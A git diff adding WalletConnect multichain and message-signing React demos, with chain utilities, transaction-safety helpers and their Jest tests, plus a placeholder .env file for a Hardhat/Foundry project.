+  background-color: #535bf2;
+}
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/index.js b/basic/78-wallet-connect/v2/multichain-example/src/index.js
new file mode 100644
index 000000000..1e6f816cf
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/index.js
@@ -0,0 +1,11 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import App from './App';
+import './index.css';
+
+const root = ReactDOM.createRoot(document.getElementById('root'));
+root.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>
+);
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/tests/chainUtils.test.js b/basic/78-wallet-connect/v2/multichain-example/src/tests/chainUtils.test.js
new file mode 100644
index 000000000..d55a71193
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/tests/chainUtils.test.js
@@ -0,0 +1,95 @@
+import { ethers } from 'ethers';
+import {
+  isValidAddress,
+  formatBalance,
+  validateTransaction,
+  SUPPORTED_CHAINS
+} from '../utils/chainUtils';
+
+describe('Chain Utilities Tests', () => {
+  describe('isValidAddress', () => {
+    test('应该验证有效的以太坊地址', () => {
+      const validAddress = '0x742d35Cc6634C0532925a3b844Bc454e4438f44e';
+      expect(isValidAddress(validAddress)).toBe(true);
+    });
+
+    test('应该拒绝无效的地址', () => {
+      const invalidAddress = '0xinvalid';
+      expect(isValidAddress(invalidAddress)).toBe(false);
+    });
+
+    test('应该拒绝非字符串输入', () => {
+      expect(isValidAddress(123)).toBe(false);
+      expect(isValidAddress(null)).toBe(false);
+      expect(isValidAddress(undefined)).toBe(false);
+    });
+  });
+
+  describe('formatBalance', () => {
+    test('应该正确格式化Wei到Ether', () => {
+      const weiAmount = ethers.utils.parseEther('1.0');
+      expect(formatBalance(weiAmount)).toBe('1.0');
+    });
+
+    test('应该处理零值', () => {
+      expect(formatBalance('0')).toBe('0');
+    });
+
+    test('应该处理自定义精度', () => {
+      const amount = '1000000'; // 1.0 with 6 decimals
+      expect(formatBalance(amount, 6)).toBe('1.0');
+    });
+  });
+
+  describe('validateTransaction', () => {
+    test('应该验证有效的交易对象', () => {
+      const validTx = {
+        to: '0x742d35Cc6634C0532925a3b844Bc454e4438f44e',
+        value: '0x0',
+        data: '0x'
+      };
+      expect(validateTransaction(validTx)).toBe(true);
+    });
+
+    test('应该拒绝无效的接收地址', () => {
+      const invalidTx = {
+        to: '0xinvalid',
+        value: '0x0'
+      };
+      expect(validateTransaction(invalidTx)).toBe(false);
+    });
+
+    test('应该拒绝无效的交易值', () => {
+      const invalidTx = {
+        to: '0x742d35Cc6634C0532925a3b844Bc454e4438f44e',
+        value: 'invalid'
+      };
+      expect(validateTransaction(invalidTx)).toBe(false);
+    });
+  });
+
+  describe('SUPPORTED_CHAINS', () => {
+    test('应该包含所有支持的链配置', () => {
+      expect(SUPPORTED_CHAINS).toHaveProperty('ethereum');
+      expect(SUPPORTED_CHAINS).toHaveProperty('polygon');
+      expect(SUPPORTED_CHAINS).toHaveProperty('arbitrum');
+      expect(SUPPORTED_CHAINS).toHaveProperty('optimism');
+      expect(SUPPORTED_CHAINS).toHaveProperty('bsc');
+    });
+
+    test('每个链配置应该包含必要的字段', () => {
+      Object.values(SUPPORTED_CHAINS).forEach(chain => {
+        expect(chain).toHaveProperty('id');
+        expect(chain).toHaveProperty('name');
+        expect(chain).toHaveProperty('rpcUrl');
+        expect(chain).toHaveProperty('currency');
+      });
+    });
+
+    test('链ID应该是唯一的', () => {
+      const chainIds = Object.values(SUPPORTED_CHAINS).map(chain => chain.id);
+      const uniqueChainIds = new Set(chainIds);
+      expect(chainIds.length).toBe(uniqueChainIds.size);
+    });
+  });
+});
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/utils/chainUtils.js b/basic/78-wallet-connect/v2/multichain-example/src/utils/chainUtils.js
new file mode 100644
index 000000000..388a9c9e1
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/utils/chainUtils.js
@@ -0,0 +1,122 @@
+import { ethers } from 'ethers';
+
+/**
+ * 链配置信息
+ */
+export const SUPPORTED_CHAINS = {
+  ethereum: {
+    id: 1,
+    name: 'Ethereum',
+    rpcUrl: `https://mainnet.infura.io/v3/${process.env.REACT_APP_INFURA_KEY}`,
+    currency: 'ETH'
+  },
+  polygon: {
+    id: 137,
+    name: 'Polygon',
+    rpcUrl: `https://polygon-mainnet.infura.io/v3/${process.env.REACT_APP_INFURA_KEY}`,
+    currency: 'MATIC'
+  },
+  arbitrum: {
+    id: 42161,
+    name: 'Arbitrum',
+    rpcUrl: `https://arbitrum-mainnet.infura.io/v3/${process.env.REACT_APP_INFURA_KEY}`,
+    currency: 'ETH'
+  },
+  optimism: {
+    id: 10,
+    name: 'Optimism',
+    rpcUrl: `https://optimism-mainnet.infura.io/v3/${process.env.REACT_APP_INFURA_KEY}`,
+    currency: 'ETH'
+  },
+  bsc: {
+    id: 56,
+    name: 'BSC',
+    rpcUrl: 'https://bsc-dataseed.binance.org',
+    currency: 'BNB'
+  }
+};
+
+/**
+ * 获取链的Provider实例
+ * @param {string} chainId 链ID
+ * @returns {ethers.providers.JsonRpcProvider}
+ */
+export const getChainProvider = (chainId) => {
+  const chain = Object.values(SUPPORTED_CHAINS).find(c => c.id === chainId);
+  if (!chain) throw new Error('不支持的链');
+  return new ethers.providers.JsonRpcProvider(chain.rpcUrl);
+};
+
+/**
+ * 检查地址格式是否有效
+ * @param {string} address 待检查的地址
+ * @returns {boolean}
+ */
+export const isValidAddress = (address) => {
+  try {
+    return ethers.utils.isAddress(address);
+  } catch {
+    return false;
+  }
+};
+
+/**
+ * 格式化余额显示
+ * @param {string|number} balance Wei单位的余额
+ * @param {number} decimals 代币精度
+ * @returns {string}
+ */
+export const formatBalance = (balance, decimals = 18) => {
+  try {
+    return ethers.utils.formatUnits(balance, decimals);
+  } catch {
+    return '0';
+  }
+};
+
+/**
+ * 检查交易参数
+ * @param {object} tx 交易对象
+ * @returns {boolean}
+ */
+export const validateTransaction = (tx) => {
+  if (!tx || typeof tx !== 'object') return false;
+  if (!isValidAddress(tx.to)) return false;
+  if (tx.value && !ethers.utils.isHexString(tx.value)) return false;
+  return true;
+};
+
+/**
+ * 获取链上代币余额
+ * @param {string} tokenAddress 代币合约地址
+ * @param {string} walletAddress 钱包地址
+ * @param {ethers.providers.Provider} provider Provider实例
+ * @returns {Promise<string>}
+ */
+export const getTokenBalance = async (tokenAddress, walletAddress, provider) => {
+  try {
+    const abi = ['function balanceOf(address) view returns (uint256)'];
+    const contract = new ethers.Contract(tokenAddress, abi, provider);
+    const balance = await contract.balanceOf(walletAddress);
+    return balance.toString();
+  } catch (error) {
+    console.error('获取代币余额失败:', error);
+    return '0';
+  }
+};
+
+/**
+ * 估算交易gas费用
+ * @param {object} tx 交易对象
+ * @param {ethers.providers.Provider} provider Provider实例
+ * @returns {Promise<string>}
+ */
+export const estimateGas = async (tx, provider) => {
+  try {
+    const gasEstimate = await provider.estimateGas(tx);
+    return gasEstimate.toString();
+  } catch (error) {
+    console.error('估算gas失败:', error);
+    throw error;
+  }
+};
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/multichain-example/src/utils/securityUtils.js b/basic/78-wallet-connect/v2/multichain-example/src/utils/securityUtils.js
new file mode 100644
index 000000000..e1c7130c0
--- /dev/null
+++ b/basic/78-wallet-connect/v2/multichain-example/src/utils/securityUtils.js
@@ -0,0 +1,147 @@
+/**
+ * 安全工具函数集合
+ * 提供交易安全检查和数据加密等功能
+ */
+
+import { ethers } from 'ethers';
+
+/**
+ * 交易金额安全检查
+ * @param {string} amount 交易金额
+ * @param {string} balance 账户余额
+ * @returns {boolean}
+ */
+export const isTransactionSafe = (amount, balance) => {
+  try {
+    const amountBN = ethers.BigNumber.from(amount);
+    const balanceBN = ethers.BigNumber.from(balance);
+    // 检查交易金额是否超过余额
+    if (amountBN.gt(balanceBN)) return false;
+    // 检查是否为零或负数
+    if (amountBN.lte(0)) return false;
+    return true;
+  } catch {
+    return false;
+  }
+};
+
+/**
+ * 检查交易gas限制
+ * @param {string} gasLimit 交易gas限制
+ * @returns {boolean}
+ */
+export const isGasLimitSafe = (gasLimit) => {
+  try {
+    const limit = ethers.BigNumber.from(gasLimit);
+    // 设置合理的gas限制范围
+    const MIN_GAS = ethers.BigNumber.from('21000'); // 基础转账gas
+    const MAX_GAS = ethers.BigNumber.from('500000'); // 最大允许gas
+    return limit.gte(MIN_GAS) && limit.lte(MAX_GAS);
+  } catch {
+    return false;
+  }
+};
+
+/**
+ * 检查交易nonce值
+ * @param {number} nonce 交易nonce
+ * @param {number} currentNonce 当前账户nonce
+ * @returns {boolean}
+ */
+export const isNonceSafe = (nonce, currentNonce) => {
+  return nonce >= currentNonce;
+};
+
+/**
+ * 检查合约调用数据
+ * @param {string} data 合约调用数据
+ * @returns {boolean}
+ */
+export const isContractDataSafe = (data) => {
+  try {
+    // 检查数据是否为有效的十六进制
+    if (!ethers.utils.isHexString(data)) return false;
+    // 检查数据长度是否合理
+    const length = ethers.utils.hexDataLength(data);
+    return length > 0 && length <= 24576; // 最大24KB
+  } catch {
+    return false;
+  }
+};
+
+/**
+ * 检查交易接收地址是否为已知的危险地址
+ * @param {string} address 交易接收地址
+ * @returns {boolean}
+ */
+export const isAddressSafe = (address) => {
+  // 这里可以维护一个已知的危险地址列表
+  const DANGEROUS_ADDRESSES = [
+    // 示例危险地址
+    '0x0000000000000000000000000000000000000000'
+  ];
+  return !DANGEROUS_ADDRESSES.includes(address.toLowerCase());
+};
+
+/**
+ * 生成交易消息哈希
+ * @param {object} tx 交易对象
+ * @returns {string}
+ */
+export const generateTransactionHash = (tx) => {
+  try {
+    const encoded = ethers.utils.defaultAbiCoder.encode(
+      ['address', 'uint256', 'bytes'],
+      [tx.to, tx.value || '0', tx.data || '0x']
+    );
+    return ethers.utils.keccak256(encoded);
+  } catch (error) {
+    console.error('生成交易哈希失败:', error);
+    throw error;
+  }
+};
+
+/**
+ * 验证交易签名
+ * @param {string} message 消息
+ * @param {string} signature 签名
+ * @param {string} address 签名者地址
+ * @returns {boolean}
+ */
+export const verifySignature = (message, signature, address) => {
+  try {
+    const recoveredAddress = ethers.utils.verifyMessage(message, signature);
+    return recoveredAddress.toLowerCase() === address.toLowerCase();
+  } catch {
+    return false;
+  }
+};
+
+/**
+ * 检查交易是否为高风险操作
+ * @param {object} tx 交易对象
+ * @returns {boolean}
+ */
+export const isHighRiskTransaction = (tx) => {
+  // 定义高风险阈值（以ETH为单位）
+  const HIGH_VALUE_THRESHOLD = ethers.utils.parseEther('10');
+  
+  try {
+    const value = ethers.BigNumber.from(tx.value || '0');
+    // 检查是否为大额交易
+    if (value.gte(HIGH_VALUE_THRESHOLD)) return true;
+    // 检查是否调用敏感合约方法
+    if (tx.data && tx.data.length > 2) {
+      const methodId = tx.data.slice(0, 10);
+      const SENSITIVE_METHODS = [
+        '0x23b872dd', // transferFrom
+        '0x095ea7b3', // approve
+        '0x42842e0e'  // safeTransferFrom
+      ];
+      if (SENSITIVE_METHODS.includes(methodId)) return true;
+    }
+    return false;
+  } catch {
+    return true; // 如有异常，视为高风险
+  }
+};
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/sign-example/.env.example b/basic/78-wallet-connect/v2/sign-example/.env.example
new file mode 100644
index 000000000..04a11e95c
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/.env.example
@@ -0,0 +1 @@
+REACT_APP_PROJECT_ID=aaaa
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/sign-example/.gitignore b/basic/78-wallet-connect/v2/sign-example/.gitignore
new file mode 100644
index 000000000..4d29575de
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/.gitignore
@@ -0,0 +1,23 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
diff --git a/basic/78-wallet-connect/v2/sign-example/README.md b/basic/78-wallet-connect/v2/sign-example/README.md
new file mode 100644
index 000000000..afa768191
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/README.md
@@ -0,0 +1,29 @@
+# Wallet Connect Sign Demo
+
+This demo showcases how to set up Wallet Connect with React, using `wagmi` and `web3modal` for blockchain connection and user authentication.
+
+## Setup Instructions
+
+1. **Install Dependencies**
+   ```bash
+   yarn
+   ```
+
+2. **Create `.env` File**
+
+   Create a `.env` file in the root of your project and add your Wallet Connect Project ID. You can obtain a Project ID by signing up at [Wallet Connect Cloud](https://cloud.walletconnect.com).
+
+   ```plaintext
+   REACT_APP_PROJECT_ID=your_project_id_here
+   ```
+
+3. **Start the Demo**
+   ```bash
+   yarn start
+   ```
+
+## References
+
+For more details, see the following resources:
+- [Wagmi Getting Started](https://wagmi.sh/react/getting-started)
+- [Wagmi Connect Wallet Example](https://wagmi.sh/examples/connect-wallet)
diff --git a/basic/78-wallet-connect/v2/sign-example/package.json b/basic/78-wallet-connect/v2/sign-example/package.json
new file mode 100644
index 000000000..2691d91b8
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/package.json
@@ -0,0 +1,46 @@
+{
+  "name": "sign-example",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@material-ui/core": "^4.12.4",
+    "@testing-library/jest-dom": "^5.14.1",
+    "@testing-library/react": "^13.0.0",
+    "@testing-library/user-event": "^13.2.1",
+    "@walletconnect/modal-sign-react": "^2.6.1",
+    "@walletconnect/sign-client": "^2.9.2",
+    "@web3modal/ethereum": "^2.7.1",
+    "@web3modal/react": "^2.7.1",
+    "@web3modal/standalone": "^2.4.3",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-scripts": "5.0.1",
+    "viem": "^1.6.0",
+    "wagmi": "^1.3.10",
+    "web-vitals": "^2.1.0"
+  },
+  "scripts": {
+    "start": "GENERATE_SOURCEMAP=false react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/basic/78-wallet-connect/v2/sign-example/public/favicon.ico b/basic/78-wallet-connect/v2/sign-example/public/favicon.ico
new file mode 100644
index 000000000..a11777cc4
Binary files /dev/null and b/basic/78-wallet-connect/v2/sign-example/public/favicon.ico differ
diff --git a/basic/78-wallet-connect/v2/sign-example/public/index.html b/basic/78-wallet-connect/v2/sign-example/public/index.html
new file mode 100644
index 000000000..aa069f27c
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/public/index.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Web site created using create-react-app"
+    />
+    <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>React App</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/basic/78-wallet-connect/v2/sign-example/public/logo192.png b/basic/78-wallet-connect/v2/sign-example/public/logo192.png
new file mode 100644
index 000000000..fc44b0a37
Binary files /dev/null and b/basic/78-wallet-connect/v2/sign-example/public/logo192.png differ
diff --git a/basic/78-wallet-connect/v2/sign-example/public/logo512.png b/basic/78-wallet-connect/v2/sign-example/public/logo512.png
new file mode 100644
index 000000000..a4e47a654
Binary files /dev/null and b/basic/78-wallet-connect/v2/sign-example/public/logo512.png differ
diff --git a/basic/78-wallet-connect/v2/sign-example/public/manifest.json b/basic/78-wallet-connect/v2/sign-example/public/manifest.json
new file mode 100644
index 000000000..080d6c77a
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/public/manifest.json
@@ -0,0 +1,25 @@
+{
+  "short_name": "React App",
+  "name": "Create React App Sample",
+  "icons": [
+    {
+      "src": "favicon.ico",
+      "sizes": "64x64 32x32 24x24 16x16",
+      "type": "image/x-icon"
+    },
+    {
+      "src": "logo192.png",
+      "type": "image/png",
+      "sizes": "192x192"
+    },
+    {
+      "src": "logo512.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    }
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/78-wallet-connect/v2/sign-example/public/robots.txt b/basic/78-wallet-connect/v2/sign-example/public/robots.txt
new file mode 100644
index 000000000..e9e57dc4d
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/basic/78-wallet-connect/v2/sign-example/src/App.css b/basic/78-wallet-connect/v2/sign-example/src/App.css
new file mode 100644
index 000000000..85a85d768
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/App.css
@@ -0,0 +1,14 @@
+
+.homepage {
+  position: relative;
+  width: 30%;
+  top: 30vh;
+  margin: auto;
+  display: flex;
+  flex-direction: column;
+  justify-content: space-evenly;
+  align-items: left;
+  font-size: 20px;
+  font-weight: 500;
+}
+
diff --git a/basic/78-wallet-connect/v2/sign-example/src/App.js b/basic/78-wallet-connect/v2/sign-example/src/App.js
new file mode 100644
index 000000000..c6674b816
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/App.js
@@ -0,0 +1,152 @@
+import { Button } from "@material-ui/core";
+import { useState, useEffect } from "react";
+import Client from "@walletconnect/sign-client";
+import { Web3Modal } from "@web3modal/standalone";
+import "./App.css";
+
+// Initialize Web3Modal with WalletConnect Project ID
+const projectId = process.env.REACT_APP_PROJECT_ID || "453f2a8e1d89bc35b8bc49eb781167b9";
+const web3Modal = new Web3Modal({ projectId, walletConnectVersion: 2 });
+
+function App() {
+  const [client, setClient] = useState(null);
+  const [session, setSession] = useState(null);
+  const [account, setAccount] = useState("");
+
+  useEffect(() => {
+    if (!client) {
+      createClient();
+    }
+  }, [client]);
+
+  // Initialize the WalletConnect client
+  const createClient = async () => {
+    try {
+      const newClient = await Client.init({
+        projectId,
+        relayUrl: "wss://relay.walletconnect.com",
+      });
+      setClient(newClient);
+      subscribeToEvents(newClient);
+    } catch (error) {
+      console.error("Failed to create client:", error);
+    }
+  };
+
+  // Connect to Wallet and create a session
+  const handleConnect = async () => {
+    if (!client) {
+      console.error("Client not initialized");
+      return;
+    }
+    try {
+      const proposalNamespace = {
+        eip155: {
+          methods: ["eth_sendTransaction", "personal_sign"],
+          chains: ["eip155:1"],
+          events: ["chainChanged", "accountsChanged"],
+        },
+      };
+
+      const { uri, approval } = await client.connect({
+        requiredNamespaces: proposalNamespace,
+      });
+
+      if (uri) {
+        web3Modal.openModal({ uri });
+        const sessionNamespace = await approval();
+        onSessionConnected(sessionNamespace);
+        web3Modal.closeModal();
+      }
+    } catch (error) {
+      console.error("Failed to connect:", error);
+    }
+  };
+
+  // Handle session confirmation
+  const onSessionConnected = (sessionNamespace) => {
+    setSession(sessionNamespace);
+    setAccount(sessionNamespace.namespaces.eip155.accounts[0].slice(9));
+  };
+
+  // Disconnect session
+  const handleDisconnect = async () => {
+    if (!client || !session) return;
+    try {
+      await client.disconnect({
+        topic: session.topic,
+        message: "User disconnected",
+        code: 6000,
+      });
+      reset();
+    } catch (error) {
+      console.error("Failed to disconnect:", error);
+    }
+  };
+
+  // Subscribe to WalletConnect events
+  const subscribeToEvents = (client) => {
+    client.on("session_ping", () => alert("Ping received"));
+    client.on("session_event", (args) => console.log("Event received:", args));
+    client.on("session_update", ({ topic, params }) => {
+      console.log("Session updated:", params);
+      const updatedSession = { ...client.session.get(topic), namespaces: params.namespaces };
+      onSessionConnected(updatedSession);
+    });
+    client.on("session_delete", () => {
+      console.log("Session deleted");
+      reset();
+    });
+  };
+
+  // Sign a message
+  const handleSend = async () => {
+    if (!account || !session) {
+      console.error("No account or session found");
+      return;
+    }
+    try {
+      const message = "My email is john@doe.com - 1691813801271";
+      const result = await client.request({
+        topic: session.topic,
+        chainId: "eip155:1",
+        request: {
+          method: "personal_sign",
+          params: [message, account],
+        },
+      });
+      alert("Signature: " + result);
+    } catch (error) {
+      console.error("Failed to sign:", error);
+    }
+  };
+
+  // Reset session and account state
+  const reset = () => {
+    setAccount("");
+    setSession(null);
+  };
+
+  return (
+    <div className="App">
+      <h1>WalletConnect Sign Demo</h1>
+      {account ? (
+        <>
+          <p>Connected Account: {account}</p>
+          <Button variant="contained" onClick={handleSend}>
+            Personal Sign
+          </Button>
+          <Button variant="contained" color="secondary" onClick={handleDisconnect}>
+            Disconnect
+          </Button>
+        </>
+      ) : (
+        <Button variant="contained" onClick={handleConnect} disabled={!client}>
+          Connect
+        </Button>
+      )}
+    </div>
+  );
+}
+
+export default App;
diff --git a/basic/78-wallet-connect/v2/sign-example/src/index.css b/basic/78-wallet-connect/v2/sign-example/src/index.css
new file mode 100644
index 000000000..ec2585e8c
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/basic/78-wallet-connect/v2/sign-example/src/index.js b/basic/78-wallet-connect/v2/sign-example/src/index.js
new file mode 100644
index 000000000..9fb3eb62b
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/index.js
@@ -0,0 +1,15 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import './index.css';
+import App from './App';
+
+
+const root = ReactDOM.createRoot(document.getElementById('root'));
+root.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>
+);
+
+// If you want to start measuring performance in your app, pass a function
+// to log results (for example: reportWebVitals(console.log))
diff --git a/basic/78-wallet-connect/v2/sign-example/src/logo.svg b/basic/78-wallet-connect/v2/sign-example/src/logo.svg
new file mode 100644
index 000000000..9dfc1c058
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/logo.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 841.9 595.3"><g fill="#61DAFB"><path d="M666.3 296.5c0-32.5-40.7-63.3-103.1-82.4 14.4-63.6 8-114.2-20.2-130.4-6.5-3.8-14.1-5.6-22.4-5.6v22.3c4.6 0 8.3.9 11.4 2.6 13.6 7.8 19.5 37.5 14.9 75.7-1.1 9.4-2.9 19.3-5.1 29.4-19.6-4.8-41-8.5-63.5-10.9-13.5-18.5-27.5-35.3-41.6-50 32.6-30.3 63.2-46.9 84-46.9V78c-27.5 0-63.5 19.6-99.9 53.6-36.4-33.8-72.4-53.2-99.9-53.2v22.3c20.7 0 51.4 16.5 84 46.6-14 14.7-28 31.4-41.3 49.9-22.6 2.4-44 6.1-63.6 11-2.3-10-4-19.7-5.2-29-4.7-38.2 1.1-67.9 14.6-75.8 3-1.8 6.9-2.6 11.5-2.6V78.5c-8.4 0-16 1.8-22.6 5.6-28.1 16.2-34.4 66.7-19.9 130.1-62.2 19.2-102.7 49.9-102.7 82.3 0 32.5 40.7 63.3 103.1 82.4-14.4 63.6-8 114.2 20.2 130.4 6.5 3.8 14.1 5.6 22.5 5.6 27.5 0 63.5-19.6 99.9-53.6 36.4 33.8 72.4 53.2 99.9 53.2 8.4 0 16-1.8 22.6-5.6 28.1-16.2 34.4-66.7 19.9-130.1 62-19.1 102.5-49.9 102.5-82.3zm-130.2-66.7c-3.7 12.9-8.3 26.2-13.5 39.5-4.1-8-8.4-16-13.1-24-4.6-8-9.5-15.8-14.4-23.4 14.2 2.1 27.9 4.7 41 7.9zm-45.8 106.5c-7.8 13.5-15.8 26.3-24.1 38.2-14.9 1.3-30 2-45.2 2-15.1 0-30.2-.7-45-1.9-8.3-11.9-16.4-24.6-24.2-38-7.6-13.1-14.5-26.4-20.8-39.8 6.2-13.4 13.2-26.8 20.7-39.9 7.8-13.5 15.8-26.3 24.1-38.2 14.9-1.3 30-2 45.2-2 15.1 0 30.2.7 45 1.9 8.3 11.9 16.4 24.6 24.2 38 7.6 13.1 14.5 26.4 20.8 39.8-6.3 13.4-13.2 26.8-20.7 39.9zm32.3-13c5.4 13.4 10 26.8 13.8 39.8-13.1 3.2-26.9 5.9-41.2 8 4.9-7.7 9.8-15.6 14.4-23.7 4.6-8 8.9-16.1 13-24.1zM421.2 430c-9.3-9.6-18.6-20.3-27.8-32 9 .4 18.2.7 27.5.7 9.4 0 18.7-.2 27.8-.7-9 11.7-18.3 22.4-27.5 32zm-74.4-58.9c-14.2-2.1-27.9-4.7-41-7.9 3.7-12.9 8.3-26.2 13.5-39.5 4.1 8 8.4 16 13.1 24 4.7 8 9.5 15.8 14.4 23.4zM420.7 163c9.3 9.6 18.6 20.3 27.8 32-9-.4-18.2-.7-27.5-.7-9.4 0-18.7.2-27.8.7 9-11.7 18.3-22.4 27.5-32zm-74 58.9c-4.9 7.7-9.8 15.6-14.4 23.7-4.6 8-8.9 16-13 24-5.4-13.4-10-26.8-13.8-39.8 13.1-3.1 26.9-5.8 41.2-7.9zm-90.5 125.2c-35.4-15.1-58.3-34.9-58.3-50.6 0-15.7 22.9-35.6 58.3-50.6 8.6-3.7 18-7 27.7-10.1 5.7 19.6 13.2 40 22.5 60.9-9.2 20.8-16.6 41.1-22.2 60.6-9.9-3.1-19.3-6.5-28-10.2zM310 490c-13.6-7.8-19.5-37.5-14.9-75.7 1.1-9.4 2.9-19.3 5.1-29.4 19.6 4.8 41 8.5 63.5 10.9 13.5 18.5 27.5 35.3 41.6 50-32.6 30.3-63.2 46.9-84 46.9-4.5-.1-8.3-1-11.3-2.7zm237.2-76.2c4.7 38.2-1.1 67.9-14.6 75.8-3 1.8-6.9 2.6-11.5 2.6-20.7 0-51.4-16.5-84-46.6 14-14.7 28-31.4 41.3-49.9 22.6-2.4 44-6.1 63.6-11 2.3 10.1 4.1 19.8 5.2 29.1zm38.5-66.7c-8.6 3.7-18 7-27.7 10.1-5.7-19.6-13.2-40-22.5-60.9 9.2-20.8 16.6-41.1 22.2-60.6 9.9 3.1 19.3 6.5 28.1 10.2 35.4 15.1 58.3 34.9 58.3 50.6-.1 15.7-23 35.6-58.4 50.6zM320.8 78.4z"/><circle cx="420.9" cy="296.5" r="45.7"/><path d="M520.5 78.1z"/></g></svg>
\ No newline at end of file
diff --git a/basic/78-wallet-connect/v2/sign-example/src/reportWebVitals.js b/basic/78-wallet-connect/v2/sign-example/src/reportWebVitals.js
new file mode 100644
index 000000000..5253d3ad9
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/reportWebVitals.js
@@ -0,0 +1,13 @@
+const reportWebVitals = onPerfEntry => {
+  if (onPerfEntry && onPerfEntry instanceof Function) {
+    import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
+      getCLS(onPerfEntry);
+      getFID(onPerfEntry);
+      getFCP(onPerfEntry);
+      getLCP(onPerfEntry);
+      getTTFB(onPerfEntry);
+    });
+  }
+};
+
+export default reportWebVitals;
diff --git a/basic/78-wallet-connect/v2/sign-example/src/setupTests.js b/basic/78-wallet-connect/v2/sign-example/src/setupTests.js
new file mode 100644
index 000000000..8f2609b7b
--- /dev/null
+++ b/basic/78-wallet-connect/v2/sign-example/src/setupTests.js
@@ -0,0 +1,5 @@
+// jest-dom adds custom jest matchers for asserting on DOM nodes.
+// allows you to do things like:
+// expect(element).toHaveTextContent(/react/i)
+// learn more: https://github.com/testing-library/jest-dom
+import '@testing-library/jest-dom';
diff --git a/basic/79-hardhat-foundry/.env.example b/basic/79-hardhat-foundry/.env.example
new file mode 100644
index 000000000..8196bef02
--- /dev/null
+++ b/basic/79-hardhat-foundry/.env.example
@@ -0,0 +1,4 @@
+PRIVATE_KEY=0x0000000000000000000000000000000000000000000000000000000000000000
+ETHERSCAN_BSC=
+ETHERSCAN_ETH=
+ETHERSCAN_ARB=
